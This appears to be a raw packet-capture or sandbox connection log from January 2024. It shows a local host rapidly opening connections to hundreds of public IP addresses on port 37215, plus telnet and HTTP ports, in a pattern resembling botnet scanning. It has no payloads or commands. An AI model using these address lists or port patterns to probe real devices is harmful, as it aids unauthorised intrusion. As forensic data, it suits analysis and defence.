Jan 2, 2024 06:23:51.698225975 CET	24529	37215	192.168.2.23	197.110.156.215
Jan 2, 2024 06:23:51.698229074 CET	24529	37215	192.168.2.23	41.121.147.205
Jan 2, 2024 06:23:51.698236942 CET	24529	37215	192.168.2.23	41.233.243.157
Jan 2, 2024 06:23:51.698240995 CET	24529	37215	192.168.2.23	41.47.69.27
Jan 2, 2024 06:23:51.698246002 CET	24529	37215	192.168.2.23	197.122.103.109
Jan 2, 2024 06:23:51.698255062 CET	24529	37215	192.168.2.23	156.129.13.112
Jan 2, 2024 06:23:51.698261023 CET	24529	37215	192.168.2.23	41.100.6.20
Jan 2, 2024 06:23:51.698262930 CET	24529	37215	192.168.2.23	41.137.210.211
Jan 2, 2024 06:23:51.698262930 CET	24529	37215	192.168.2.23	156.184.194.136
Jan 2, 2024 06:23:51.698272943 CET	24529	37215	192.168.2.23	156.44.32.113
Jan 2, 2024 06:23:51.698286057 CET	24529	37215	192.168.2.23	41.7.48.107
Jan 2, 2024 06:23:51.698290110 CET	24529	37215	192.168.2.23	197.196.232.206
Jan 2, 2024 06:23:51.698302031 CET	24529	37215	192.168.2.23	156.232.107.251
Jan 2, 2024 06:23:51.698304892 CET	24529	37215	192.168.2.23	41.75.237.55
Jan 2, 2024 06:23:51.698309898 CET	24529	37215	192.168.2.23	41.192.16.91
Jan 2, 2024 06:23:51.698313951 CET	24529	37215	192.168.2.23	197.21.137.182
Jan 2, 2024 06:23:51.698319912 CET	24529	37215	192.168.2.23	41.122.131.229
Jan 2, 2024 06:23:51.698323011 CET	24529	37215	192.168.2.23	41.105.3.168
Jan 2, 2024 06:23:51.698332071 CET	24529	37215	192.168.2.23	156.3.227.244
Jan 2, 2024 06:23:51.698335886 CET	24529	37215	192.168.2.23	41.107.24.249
Jan 2, 2024 06:23:51.698340893 CET	24529	37215	192.168.2.23	197.241.232.67
Jan 2, 2024 06:23:51.698344946 CET	24529	37215	192.168.2.23	197.16.179.65
Jan 2, 2024 06:23:51.698352098 CET	24529	37215	192.168.2.23	197.233.163.242
Jan 2, 2024 06:23:51.698358059 CET	24529	37215	192.168.2.23	41.114.149.224
Jan 2, 2024 06:23:51.698370934 CET	24529	37215	192.168.2.23	156.73.68.104
Jan 2, 2024 06:23:51.698374987 CET	24529	37215	192.168.2.23	156.57.90.74
Jan 2, 2024 06:23:51.698376894 CET	24529	37215	192.168.2.23	156.64.30.111
Jan 2, 2024 06:23:51.698376894 CET	24529	37215	192.168.2.23	41.29.182.249
Jan 2, 2024 06:23:51.698376894 CET	24529	37215	192.168.2.23	41.184.17.175
Jan 2, 2024 06:23:51.698379993 CET	24529	37215	192.168.2.23	197.167.190.135
Jan 2, 2024 06:23:51.698380947 CET	24529	37215	192.168.2.23	41.140.25.129
Jan 2, 2024 06:23:51.698380947 CET	24529	37215	192.168.2.23	197.93.67.178
Jan 2, 2024 06:23:51.698384047 CET	24529	37215	192.168.2.23	41.215.161.103
Jan 2, 2024 06:23:51.698388100 CET	24529	37215	192.168.2.23	156.232.67.82
Jan 2, 2024 06:23:51.698393106 CET	24529	37215	192.168.2.23	156.245.18.237
Jan 2, 2024 06:23:51.698409081 CET	24529	37215	192.168.2.23	41.21.219.120
Jan 2, 2024 06:23:51.698409081 CET	24529	37215	192.168.2.23	156.48.91.60
Jan 2, 2024 06:23:51.698457956 CET	24529	37215	192.168.2.23	41.77.190.52
Jan 2, 2024 06:23:51.698458910 CET	24529	37215	192.168.2.23	41.126.98.186
Jan 2, 2024 06:23:51.698458910 CET	24529	37215	192.168.2.23	156.157.165.213
Jan 2, 2024 06:23:51.698467970 CET	24529	37215	192.168.2.23	156.232.133.238
Jan 2, 2024 06:23:51.698472977 CET	24529	37215	192.168.2.23	156.213.251.129
Jan 2, 2024 06:23:51.698473930 CET	24529	37215	192.168.2.23	156.114.155.240
Jan 2, 2024 06:23:51.698487043 CET	24529	37215	192.168.2.23	197.114.12.152
Jan 2, 2024 06:23:51.698496103 CET	24529	37215	192.168.2.23	41.6.112.84
Jan 2, 2024 06:23:51.698497057 CET	24529	37215	192.168.2.23	41.243.54.73
Jan 2, 2024 06:23:51.698503971 CET	24529	37215	192.168.2.23	41.87.81.75
Jan 2, 2024 06:23:51.698517084 CET	24529	37215	192.168.2.23	156.142.174.148
Jan 2, 2024 06:23:51.698523045 CET	24529	37215	192.168.2.23	156.93.152.245
Jan 2, 2024 06:23:51.698528051 CET	24529	37215	192.168.2.23	156.242.10.156
Jan 2, 2024 06:23:51.698535919 CET	24529	37215	192.168.2.23	41.126.116.12
Jan 2, 2024 06:23:51.698543072 CET	24529	37215	192.168.2.23	197.102.166.121
Jan 2, 2024 06:23:51.698546886 CET	24529	37215	192.168.2.23	41.181.160.23
Jan 2, 2024 06:23:51.698546886 CET	24529	37215	192.168.2.23	197.95.55.12
Jan 2, 2024 06:23:51.698546886 CET	24529	37215	192.168.2.23	41.176.8.177
Jan 2, 2024 06:23:51.698551893 CET	24529	37215	192.168.2.23	41.30.214.78
Jan 2, 2024 06:23:51.698563099 CET	24529	37215	192.168.2.23	197.194.144.29
Jan 2, 2024 06:23:51.698563099 CET	24529	37215	192.168.2.23	156.78.102.165
Jan 2, 2024 06:23:51.698571920 CET	24529	37215	192.168.2.23	41.97.227.147
Jan 2, 2024 06:23:51.698582888 CET	24529	37215	192.168.2.23	197.20.188.96
Jan 2, 2024 06:23:51.698585987 CET	24529	37215	192.168.2.23	41.188.30.32
Jan 2, 2024 06:23:51.698585987 CET	24529	37215	192.168.2.23	156.64.209.198
Jan 2, 2024 06:23:51.698592901 CET	24529	37215	192.168.2.23	41.134.225.36
Jan 2, 2024 06:23:51.698615074 CET	24529	37215	192.168.2.23	156.98.2.225
Jan 2, 2024 06:23:51.698616028 CET	24529	37215	192.168.2.23	41.102.201.99
Jan 2, 2024 06:23:51.698630095 CET	24529	37215	192.168.2.23	197.112.115.170
Jan 2, 2024 06:23:51.698631048 CET	24529	37215	192.168.2.23	197.80.223.20
Jan 2, 2024 06:23:51.698631048 CET	24529	37215	192.168.2.23	156.142.68.234
Jan 2, 2024 06:23:51.698631048 CET	24529	37215	192.168.2.23	156.143.251.41
Jan 2, 2024 06:23:51.698632002 CET	24529	37215	192.168.2.23	41.209.56.158
Jan 2, 2024 06:23:51.698633909 CET	24529	37215	192.168.2.23	41.228.91.81
Jan 2, 2024 06:23:51.698633909 CET	24529	37215	192.168.2.23	156.133.180.61
Jan 2, 2024 06:23:51.698642969 CET	24529	37215	192.168.2.23	156.146.175.159
Jan 2, 2024 06:23:51.698643923 CET	24529	37215	192.168.2.23	41.69.18.162
Jan 2, 2024 06:23:51.698646069 CET	24529	37215	192.168.2.23	197.90.197.41
Jan 2, 2024 06:23:51.698646069 CET	24529	37215	192.168.2.23	156.182.178.155
Jan 2, 2024 06:23:51.698647022 CET	24529	37215	192.168.2.23	41.14.233.38
Jan 2, 2024 06:23:51.698647022 CET	24529	37215	192.168.2.23	197.150.145.113
Jan 2, 2024 06:23:51.698647022 CET	24529	37215	192.168.2.23	197.105.197.144
Jan 2, 2024 06:23:51.698647022 CET	24529	37215	192.168.2.23	41.89.87.66
Jan 2, 2024 06:23:51.698647022 CET	24529	37215	192.168.2.23	197.249.1.74
Jan 2, 2024 06:23:51.698648930 CET	24529	37215	192.168.2.23	156.51.13.253
Jan 2, 2024 06:23:51.698648930 CET	24529	37215	192.168.2.23	156.126.49.38
Jan 2, 2024 06:23:51.698648930 CET	24529	37215	192.168.2.23	156.105.233.52
Jan 2, 2024 06:23:51.698654890 CET	24529	37215	192.168.2.23	197.117.168.238
Jan 2, 2024 06:23:51.698654890 CET	24529	37215	192.168.2.23	41.188.140.230
Jan 2, 2024 06:23:51.698663950 CET	24529	37215	192.168.2.23	156.193.215.195
Jan 2, 2024 06:23:51.698674917 CET	24529	37215	192.168.2.23	156.234.107.217
Jan 2, 2024 06:23:51.698676109 CET	24529	37215	192.168.2.23	197.102.198.200
Jan 2, 2024 06:23:51.698683023 CET	24529	37215	192.168.2.23	41.81.27.3
Jan 2, 2024 06:23:51.698683023 CET	24529	37215	192.168.2.23	41.2.39.234
Jan 2, 2024 06:23:51.698688984 CET	24529	37215	192.168.2.23	197.73.80.219
Jan 2, 2024 06:23:51.698688984 CET	24529	37215	192.168.2.23	197.2.17.215
Jan 2, 2024 06:23:51.698693991 CET	24529	37215	192.168.2.23	197.193.160.44
Jan 2, 2024 06:23:51.698693991 CET	24529	37215	192.168.2.23	41.14.147.83
Jan 2, 2024 06:23:51.698693991 CET	24529	37215	192.168.2.23	41.40.60.47
Jan 2, 2024 06:23:51.698699951 CET	24529	37215	192.168.2.23	41.3.237.158
Jan 2, 2024 06:23:51.698699951 CET	24529	37215	192.168.2.23	156.101.44.198
Jan 2, 2024 06:23:51.698703051 CET	24529	37215	192.168.2.23	197.9.139.159
Jan 2, 2024 06:23:51.698704004 CET	24529	37215	192.168.2.23	41.247.139.1
Jan 2, 2024 06:23:51.698709011 CET	24529	37215	192.168.2.23	41.187.205.21
Jan 2, 2024 06:23:51.698709011 CET	24529	37215	192.168.2.23	197.201.246.155
Jan 2, 2024 06:23:51.698719025 CET	24529	37215	192.168.2.23	156.11.25.139
Jan 2, 2024 06:23:51.698719025 CET	24529	37215	192.168.2.23	41.26.11.124
Jan 2, 2024 06:23:51.698725939 CET	24529	37215	192.168.2.23	41.30.203.48
Jan 2, 2024 06:23:51.698731899 CET	24529	37215	192.168.2.23	197.23.177.239
Jan 2, 2024 06:23:51.698739052 CET	24529	37215	192.168.2.23	156.255.193.164
Jan 2, 2024 06:23:51.698740005 CET	24529	37215	192.168.2.23	41.127.92.29
Jan 2, 2024 06:23:51.698759079 CET	24529	37215	192.168.2.23	156.219.12.156
Jan 2, 2024 06:23:51.698759079 CET	24529	37215	192.168.2.23	41.177.28.252
Jan 2, 2024 06:23:51.698766947 CET	24529	37215	192.168.2.23	41.60.179.58
Jan 2, 2024 06:23:51.698771954 CET	24529	37215	192.168.2.23	156.18.121.166
Jan 2, 2024 06:23:51.698771954 CET	24529	37215	192.168.2.23	197.252.99.0
Jan 2, 2024 06:23:51.698782921 CET	24529	37215	192.168.2.23	156.56.115.156
Jan 2, 2024 06:23:51.698785067 CET	24529	37215	192.168.2.23	156.85.79.63
Jan 2, 2024 06:23:51.698786020 CET	24529	37215	192.168.2.23	156.129.223.64
Jan 2, 2024 06:23:51.698800087 CET	24529	37215	192.168.2.23	156.31.248.117
Jan 2, 2024 06:23:51.698801041 CET	24529	37215	192.168.2.23	197.159.225.178
Jan 2, 2024 06:23:51.698806047 CET	24529	37215	192.168.2.23	197.231.183.1
Jan 2, 2024 06:23:51.698806047 CET	24529	37215	192.168.2.23	156.111.253.125
Jan 2, 2024 06:23:51.698811054 CET	24529	37215	192.168.2.23	197.30.190.155
Jan 2, 2024 06:23:51.698822021 CET	24529	37215	192.168.2.23	156.16.239.168
Jan 2, 2024 06:23:51.698823929 CET	24529	37215	192.168.2.23	197.185.137.176
Jan 2, 2024 06:23:51.698828936 CET	24529	37215	192.168.2.23	156.106.0.173
Jan 2, 2024 06:23:51.698839903 CET	24529	37215	192.168.2.23	41.214.148.243
Jan 2, 2024 06:23:51.698846102 CET	24529	37215	192.168.2.23	156.123.39.249
Jan 2, 2024 06:23:51.698854923 CET	24529	37215	192.168.2.23	197.235.145.244
Jan 2, 2024 06:23:51.698858976 CET	24529	37215	192.168.2.23	197.153.62.161
Jan 2, 2024 06:23:51.698862076 CET	24529	37215	192.168.2.23	197.95.56.153
Jan 2, 2024 06:23:51.698863983 CET	24529	37215	192.168.2.23	156.28.70.212
Jan 2, 2024 06:23:51.698872089 CET	24529	37215	192.168.2.23	156.105.116.37
Jan 2, 2024 06:23:51.698872089 CET	24529	37215	192.168.2.23	197.157.80.3
Jan 2, 2024 06:23:51.698888063 CET	24529	37215	192.168.2.23	41.143.217.236
Jan 2, 2024 06:23:51.698888063 CET	24529	37215	192.168.2.23	156.183.29.8
Jan 2, 2024 06:23:51.698908091 CET	24529	37215	192.168.2.23	197.200.150.194
Jan 2, 2024 06:23:51.698909044 CET	24529	37215	192.168.2.23	197.193.37.165
Jan 2, 2024 06:23:51.698909044 CET	24529	37215	192.168.2.23	41.200.116.180
Jan 2, 2024 06:23:51.698909998 CET	24529	37215	192.168.2.23	197.57.172.227
Jan 2, 2024 06:23:51.698924065 CET	24529	37215	192.168.2.23	41.187.3.58
Jan 2, 2024 06:23:51.698924065 CET	24529	37215	192.168.2.23	197.101.93.200
Jan 2, 2024 06:23:51.698935986 CET	24529	37215	192.168.2.23	41.124.253.185
Jan 2, 2024 06:23:51.698935986 CET	24529	37215	192.168.2.23	156.175.167.107
Jan 2, 2024 06:23:51.698956966 CET	24529	37215	192.168.2.23	156.120.102.223
Jan 2, 2024 06:23:51.698959112 CET	24529	37215	192.168.2.23	156.224.201.189
Jan 2, 2024 06:23:51.698961973 CET	24529	37215	192.168.2.23	41.42.77.15
Jan 2, 2024 06:23:51.698973894 CET	24529	37215	192.168.2.23	197.158.183.9
Jan 2, 2024 06:23:51.698976994 CET	24529	37215	192.168.2.23	156.119.2.14
Jan 2, 2024 06:23:51.698988914 CET	24529	37215	192.168.2.23	197.91.43.3
Jan 2, 2024 06:23:51.698990107 CET	24529	37215	192.168.2.23	156.127.230.2
Jan 2, 2024 06:23:51.699003935 CET	24529	37215	192.168.2.23	41.97.50.23
Jan 2, 2024 06:23:51.699009895 CET	24529	37215	192.168.2.23	156.112.67.6
Jan 2, 2024 06:23:51.699012041 CET	24529	37215	192.168.2.23	41.200.11.106
Jan 2, 2024 06:23:51.699021101 CET	24529	37215	192.168.2.23	156.219.176.83
Jan 2, 2024 06:23:51.699039936 CET	24529	37215	192.168.2.23	156.178.141.49
Jan 2, 2024 06:23:51.699040890 CET	24529	37215	192.168.2.23	197.239.110.218
Jan 2, 2024 06:23:51.699040890 CET	24529	37215	192.168.2.23	156.16.174.181
Jan 2, 2024 06:23:51.699040890 CET	24529	37215	192.168.2.23	156.132.136.94
Jan 2, 2024 06:23:51.699052095 CET	24529	37215	192.168.2.23	156.62.193.129
Jan 2, 2024 06:23:51.699052095 CET	24529	37215	192.168.2.23	197.21.45.51
Jan 2, 2024 06:23:51.699052095 CET	24529	37215	192.168.2.23	41.198.174.191
Jan 2, 2024 06:23:51.699062109 CET	24529	37215	192.168.2.23	156.243.184.183
Jan 2, 2024 06:23:51.699070930 CET	24529	37215	192.168.2.23	197.48.110.38
Jan 2, 2024 06:23:51.699078083 CET	24529	37215	192.168.2.23	197.39.128.144
Jan 2, 2024 06:23:51.699081898 CET	24529	37215	192.168.2.23	41.138.163.8
Jan 2, 2024 06:23:51.699084044 CET	24529	37215	192.168.2.23	156.19.4.105
Jan 2, 2024 06:23:51.699086905 CET	24529	37215	192.168.2.23	41.56.70.176
Jan 2, 2024 06:23:51.699099064 CET	24529	37215	192.168.2.23	197.85.162.250
Jan 2, 2024 06:23:51.699105024 CET	24529	37215	192.168.2.23	156.132.167.213
Jan 2, 2024 06:23:51.699106932 CET	24529	37215	192.168.2.23	197.240.28.42
Jan 2, 2024 06:23:51.699107885 CET	24529	37215	192.168.2.23	156.82.53.75
Jan 2, 2024 06:23:51.699122906 CET	24529	37215	192.168.2.23	197.1.151.159
Jan 2, 2024 06:23:51.699122906 CET	24529	37215	192.168.2.23	41.69.89.54
Jan 2, 2024 06:23:51.699131012 CET	24529	37215	192.168.2.23	41.186.197.123
Jan 2, 2024 06:23:51.700556040 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.700608015 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.700623035 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.700634956 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.700656891 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.700659037 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.700659037 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.700666904 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.700675964 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.700700998 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.701100111 CET	80	46956	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:51.701155901 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:51.701184034 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:51.701184034 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:51.701215982 CET	46978	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:51.705240011 CET	23	14265	209.64.119.137	192.168.2.23
Jan 2, 2024 06:23:51.710782051 CET	23	14265	50.87.27.184	192.168.2.23
Jan 2, 2024 06:23:51.713433027 CET	80	18377	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:51.713489056 CET	18377	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.714613914 CET	80	60636	104.107.28.16	192.168.2.23
Jan 2, 2024 06:23:51.714657068 CET	60636	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:51.715727091 CET	80	18377	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:51.715761900 CET	18377	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.716717958 CET	80	18377	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:51.716761112 CET	18377	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.717264891 CET	23	48568	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:51.717497110 CET	48584	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.720607042 CET	80	18377	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:51.720648050 CET	18377	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.778255939 CET	23	36680	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:51.778331041 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:51.778578997 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:51.784682035 CET	80	18377	154.21.126.1	192.168.2.23
Jan 2, 2024 06:23:51.791894913 CET	80	18377	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:51.791934967 CET	18377	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:51.793229103 CET	80	33852	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.793273926 CET	33852	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.795291901 CET	80	18377	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:51.795330048 CET	18377	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:51.796751022 CET	80	55318	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:51.796788931 CET	55318	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.796808958 CET	55318	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.796847105 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.796865940 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.796875954 CET	45040	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.796897888 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.796909094 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:51.796926022 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:51.800525904 CET	80	55228	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:51.800628901 CET	80	55228	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:51.800643921 CET	80	55228	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:51.800668955 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.800668955 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:51.805769920 CET	23	14265	45.6.58.230	192.168.2.23
Jan 2, 2024 06:23:51.813524961 CET	80	53062	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.813570023 CET	53062	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.822006941 CET	80	18377	5.2.237.61	192.168.2.23
Jan 2, 2024 06:23:51.822047949 CET	80	18377	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:51.822079897 CET	18377	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:51.828839064 CET	23	14265	191.63.134.253	192.168.2.23
Jan 2, 2024 06:23:51.837095976 CET	80	60990	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:51.837404966 CET	23	14265	179.215.110.184	192.168.2.23
Jan 2, 2024 06:23:51.837491035 CET	80	60990	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:51.837532043 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.837609053 CET	80	60990	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:51.837641954 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.838488102 CET	23	48584	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:51.838534117 CET	48584	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.840591908 CET	80	32780	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:51.840631962 CET	32780	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.840643883 CET	32780	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.840715885 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:51.860161066 CET	80	48094	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:51.861361980 CET	80	48116	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:51.861402035 CET	48116	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.861412048 CET	48116	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.863353968 CET	23	14265	14.67.114.102	192.168.2.23
Jan 2, 2024 06:23:51.865061998 CET	37215	24529	156.73.68.104	192.168.2.23
Jan 2, 2024 06:23:51.865104914 CET	24529	37215	192.168.2.23	156.73.68.104
Jan 2, 2024 06:23:51.865565062 CET	80	36404	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.867721081 CET	80	36404	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.867753983 CET	36404	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.879443884 CET	23	14265	197.5.85.131	192.168.2.23
Jan 2, 2024 06:23:51.879486084 CET	14265	23	192.168.2.23	197.5.85.131
Jan 2, 2024 06:23:51.879636049 CET	23	14265	197.5.85.131	192.168.2.23
Jan 2, 2024 06:23:51.889385939 CET	23	51912	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:51.889395952 CET	23	51912	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:51.889431953 CET	51912	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:51.889493942 CET	51912	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:51.889523029 CET	51964	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:51.902736902 CET	80	48094	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:51.912756920 CET	23	14265	202.60.200.65	192.168.2.23
Jan 2, 2024 06:23:51.926992893 CET	59666	38570	93.123.85.91	192.168.2.23
Jan 2, 2024 06:23:51.955374002 CET	80	52204	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:51.955471039 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.955509901 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.955509901 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.955538988 CET	52220	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:51.956360102 CET	80	54666	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:51.956404924 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.956423998 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.956423998 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.956443071 CET	54678	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:51.958823919 CET	80	32814	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:51.958877087 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.958904028 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.958904982 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.958920002 CET	32832	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:51.959736109 CET	80	45040	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:51.959801912 CET	45040	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.959819078 CET	45040	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.959820032 CET	45040	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.959844112 CET	45058	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:51.960454941 CET	23	48584	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:51.960511923 CET	48610	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.970871925 CET	59666	38570	93.123.85.91	192.168.2.23
Jan 2, 2024 06:23:51.970913887 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:52.011965036 CET	37215	24529	41.47.69.27	192.168.2.23
Jan 2, 2024 06:23:52.027528048 CET	37215	24529	156.232.133.238	192.168.2.23
Jan 2, 2024 06:23:52.032887936 CET	80	55198	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.032934904 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.032968998 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.032968998 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.033004045 CET	55216	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.035573006 CET	80	60376	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.035617113 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.035634995 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.035653114 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.035675049 CET	60394	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.041713953 CET	80	46956	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:52.041759014 CET	80	46956	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:52.041769981 CET	80	46956	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:52.041805029 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:52.041805029 CET	46956	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:52.043997049 CET	80	46978	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:52.044037104 CET	46978	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:52.044053078 CET	46978	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:52.081795931 CET	23	48610	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:52.081841946 CET	48610	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:52.082837105 CET	80	32780	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:52.082849026 CET	80	32780	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:52.082884073 CET	32780	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:52.084258080 CET	80	55318	220.134.218.248	192.168.2.23
Jan 2, 2024 06:23:52.084297895 CET	55318	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:52.102555037 CET	80	39152	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:52.102605104 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.102637053 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.102637053 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.102665901 CET	39170	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.105411053 CET	23	36680	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:52.105421066 CET	23	36680	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:52.105451107 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:52.105452061 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:52.112385035 CET	80	48116	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:52.113042116 CET	80	52220	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:52.113084078 CET	52220	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:52.113095045 CET	52220	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:52.113416910 CET	80	52204	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:52.113957882 CET	80	52204	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:52.113967896 CET	80	52204	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:52.113996029 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:52.114007950 CET	52204	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:52.115879059 CET	80	54666	104.81.147.86	192.168.2.23
